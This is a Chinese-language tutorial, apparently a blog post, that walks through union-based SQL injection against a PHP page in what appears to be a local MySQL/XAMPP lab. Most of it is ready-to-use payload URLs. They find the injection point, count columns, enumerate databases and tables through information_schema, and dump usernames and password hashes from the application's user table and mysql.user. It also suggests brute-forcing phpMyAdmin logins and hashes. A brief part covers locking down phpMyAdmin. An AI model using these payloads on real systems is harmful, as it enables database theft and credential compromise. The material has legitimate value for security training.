SQL注入(查询注入)

1、判断是否存在注入点(单引号判断)
/security/read.php?id='
/security/read.php?id=1 and 1=2
/security/read.php?id=1 and 1=1
/security/read.php?id=1#dawda
2、数据库的union关键字替换数据,联合查询
# union 联合查询的前提,列数相同,类型兼容
# 如果不知道列数的情况下,可以通过猜测的方式来使用select * from 表明,通常表明是有意义的,所以猜测正确的概率是有的,如果表名猜测错误,是会出现错误信息或查询不出结果,只要能查询出结果,则说明表名正确,且*的列数也是正确的
/security/read.php?id='1' union select * from [数据库表名字典爆破]
# 猜测列数,或者基于代码或则burp遍历 
/security/read.php?id='-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
# 使用order by 猜测列数
# oreder by 基于每一列进行排序
/security/read.php?id='-1' order by 16
3、使用mysql内置函数user()database()version()等
# 在能够回显的基础上,可以做任何sql语句的拼接
/security/read.php?id='-1' union select 1,2,3,user(),database(),6,7,8,9,10,11,12,13,14,15
/security/read.php?id='-1' union select 1,2,3,@@log_error,@@port,6,7,8,9,10,11,12,13,14,15
# 还可以查询数据表的内容,进而实现脱裤(拖库),需要知道表明和列名
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select password from user limit 0,1),6,7,8,9,10,11,12,13,14,15
# concat函数拼接字符串,一次性获取一行数据,而不用分列获取
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select concat(id,'==',username,'==',password) from user limit 0,1),6,7,8,9,10,11,12,13,14,15
4、在mysql5.0以上的版本infomation_shame数据库存储了所有数据库的信息

使用方法:https://blog.csdn.net/kikajack/article/details/80065753

# 查询列名的方式
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select table_name from information_schema.tables where table_schema='learn' limit 1,1),6,7,8,9,10,11,12,13,14,15
5、使用 group_concat()函数查询一组表明
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select group_concat(table_name) from information_schema.tables where table_schema='learn' ),6,7,8,9,10,11,12,13,14,15
6、知道表名查询列名
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select group_concat(column_name) from information_schema.columns where table_schema='learn'  and table_name='article'),6,7,8,9,10,11,12,13,14,15
7、直接查询mysql内置的mysql的user表的用户名和密码
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select concat(User,'---',Password) from mysql.user
# 一般密码的加密方式为 MD5,然后可以进行爆破
8、通过information_schema 获取数据库的结果(所有数据库名称)
# information_schema数据库中的SCHEMATA表中的SCHEMA_NAME列存储了所有的数据库名称
/security/read.php?id='-1' union select 1,2,3,@@log_error,(select group_concat(SCHEMA_NAME ) from information_schema.SCHEMATA),6,7,8,9,10,11,12,13,14,15

information_schema,learn,mysql,performance_schema,phpmyadmin,test,xindai
# 如果存在phpmyadmin数据库,可以尝试登陆爆破

如果使用config的认证方式,则直接进入后台,如果为http,可以进行爆破,最好不要开启phpmyadmin,或者在需要的时候再开启远程登陆,修改/opt/lampp/etc/extra/http-xampp.conf文件禁用远程访问

# since XAMPP 1.4.3
<Directory "/opt/lampp/phpmyadmin">
    AllowOverride AuthConfig Limit
    # Require local    允许本地
      Require all granted  # 允许所有
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>

# 其他解决方案,将phpmyadmin改名为dasfsedfseef等不容易爆破的名称
9、concat_ws()函数

只用切割一次

/security/read.php?id='-1' union select 1,2,3,4,(select group_concat(concat_ws("--",user,password)) from mysql.user),6,7,8,9,10,11,12,13,14,15
# 防止数据量太大,使用between end 分批脱裤
http://192.168.74.132/security/read.php?id='-1' union select 1,2,3,4,(select group_concat(concat_ws("--",articleid,headline))from article between 0 end 5),6,7,8,9,10,11,12,13,14,15
10、用十六进制代替单引号
在sql中执行 hex 进行替换一些被转义的字符
unhex将十六进制转换为askii
11、针对非数字型的查询漏洞
select * from learn.article WHERE content LIKE '%我%'
select * from learn.article WHERE content LIKE '%我'-- '%'    
select * from learn.article WHERE content LIKE '%我'#%'

上述语法主要针对mysql数据库,如果针对其他数据库,需要使用其他数据库的语法

正对POST请求,完全一样,把payload放到data字段

union查询注入不适用的地方

1、注入语句无法截断,且不清楚完整的SQL查询语句;

2、页面不能返回查询信息的时候

3、Web页面中有两个SQL查询语句,查询的列数不相同

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值